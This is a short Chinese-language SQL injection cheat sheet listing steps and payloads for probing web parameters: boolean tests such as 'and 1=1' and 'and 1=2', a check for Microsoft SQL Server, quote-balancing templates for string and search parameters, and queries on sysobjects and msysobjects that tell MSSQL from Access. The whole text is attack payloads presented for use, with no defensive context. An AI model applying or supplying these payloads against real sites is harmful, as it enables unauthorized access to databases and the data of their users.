1.判断是否有注入;and 1=1 ;and 1=2;
2.初步判断是否是mssql ;and user>0;
3.注入参数是字符’and [查询条件] and ’’=’;
4.搜索时没过滤参数的’and [查询条件] and ’%25’=’;
5.判断数据库系统;
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CODE:
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access |